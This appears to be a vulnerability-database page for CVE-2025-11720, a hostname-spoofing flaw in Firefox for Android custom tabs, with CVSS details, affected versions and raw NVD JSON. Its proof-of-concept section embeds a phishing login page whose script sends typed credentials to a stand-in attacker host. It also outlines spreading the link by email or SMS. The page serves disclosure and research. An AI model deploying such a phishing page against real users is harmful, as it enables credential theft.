Security Vulnerability Report
中文
CVE-2025-11720 CVSS 8.1 HIGH

CVE-2025-11720

Published: 2025-10-14 13:15:38
Last Modified: 2026-04-13 15:16:41

Description

The Firefox and Firefox Focus UI for the Android custom tab feature only showed the "site" that was loaded, not the full hostname. User supplied content hosted on a subdomain of a site could have been used to fool a user into thinking it was content from a different subdomain of that site. This vulnerability was fixed in Firefox 144.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE
Mozilla Firefox for Android < 144
Mozilla Firefox Focus for Android < 144

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11720 PoC - Firefox Android Custom Tab Hostname Spoofing # This PoC demonstrates the UI spoofing vulnerability where Firefox Android # custom tab only displays the "site" name instead of the full hostname. # Step 1: Attacker hosts malicious content on a subdomain of a legitimate site # Example: A phishing page hosted at "evil.target-site.com" # The legitimate site is "target-site.com" # Step 2: Create a phishing page that mimics the legitimate site's login page phishing_html = """ <!DOCTYPE html> <html> <head> <title>Login - Target Site</title> <style> body { font-family: Arial, sans-serif; text-align: center; margin-top: 50px; } .login-form { max-width: 300px; margin: auto; padding: 20px; border: 1px solid #ccc; } </style> </head> <body> <h1>Welcome to Target Site</h1> <div class="login-form"> <p>Please login to continue</p> <input type="text" placeholder="Username" id="username"><br><br> <input type="password" placeholder="Password" id="password"><br><br> <button onclick="exfiltrate()">Login</button> </div> <script> function exfiltrate() { var u = document.getElementById('username').value; var p = document.getElementById('password').value; // Send credentials to attacker-controlled server new Image().src = 'https://attacker.example.com/steal?u=' + u + '&p=' + p; } </script> </body> </html> """ # Step 3: Deploy the phishing page on attacker's subdomain # Host the HTML content at: https://evil.target-site.com/login.html # Note: This requires controlling a subdomain of the target site # Step 4: Craft the attack link attack_url = "https://evil.target-site.com/login.html" # Step 5: Distribute the link via phishing email/SMS # When victim clicks the link in Firefox Android: # - The custom tab opens the URL # - Due to CVE-2025-11720, the address bar shows "target-site.com" # - Instead of the full hostname "evil.target-site.com" # - Victim believes they are on a legitimate subdomain of target-site.com # Step 6: Victim enters credentials thinking it's the legitimate site # Credentials are sent to the attacker's server print(f"Attack URL: {attack_url}") print("Vulnerability: Firefox Android Custom Tab displays only 'site' name") print("Expected display: 'target-site.com' (misleading)") print("Actual hostname: 'evil.target-site.com' (hidden)") print("Fixed in: Firefox 144")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11720", "sourceIdentifier": "[email protected]", "published": "2025-10-14T13:15:38.400", "lastModified": "2026-04-13T15:16:41.423", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Firefox and Firefox Focus UI for the Android custom tab feature only showed the \"site\" that was loaded, not the full hostname. User supplied content hosted on a subdomain of a site could have been used to fool a user into thinking it was content from a different subdomain of that site. This vulnerability was fixed in Firefox 144."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0", "matchCriteriaId": "DC554AD6-8F3F-4C92-85EA-C204204E9E9D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1979534", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1984370", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-81/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}